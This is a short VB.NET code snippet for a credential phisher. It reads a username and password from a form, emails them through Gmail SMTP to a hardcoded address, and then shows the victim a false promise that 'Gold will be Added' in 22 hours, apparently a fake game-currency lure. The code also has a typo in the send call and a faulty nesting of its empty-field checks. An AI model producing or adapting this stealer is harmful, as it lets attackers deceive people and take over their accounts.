Imports System.Net.Mail

If TextBox1.Text = "" Then
            MsgBox("Username is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Missing")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim Mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("email@gmail.com", "password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        Mail = New MailMessage()
        Mail.From = New MailAddress("email@gmail.com")
        Mail.To.Add("email@gmail.com")
        Mail.Subject = "Username: " & TextBox1.Text
        Mail.Body = "Username :" & TextBox1.Text & "," & "Password : " & TextBox2.Text
        smtppServer.Send(Mail)
        MsgBox("Wait for 22 Hours and Your Gold will be Added")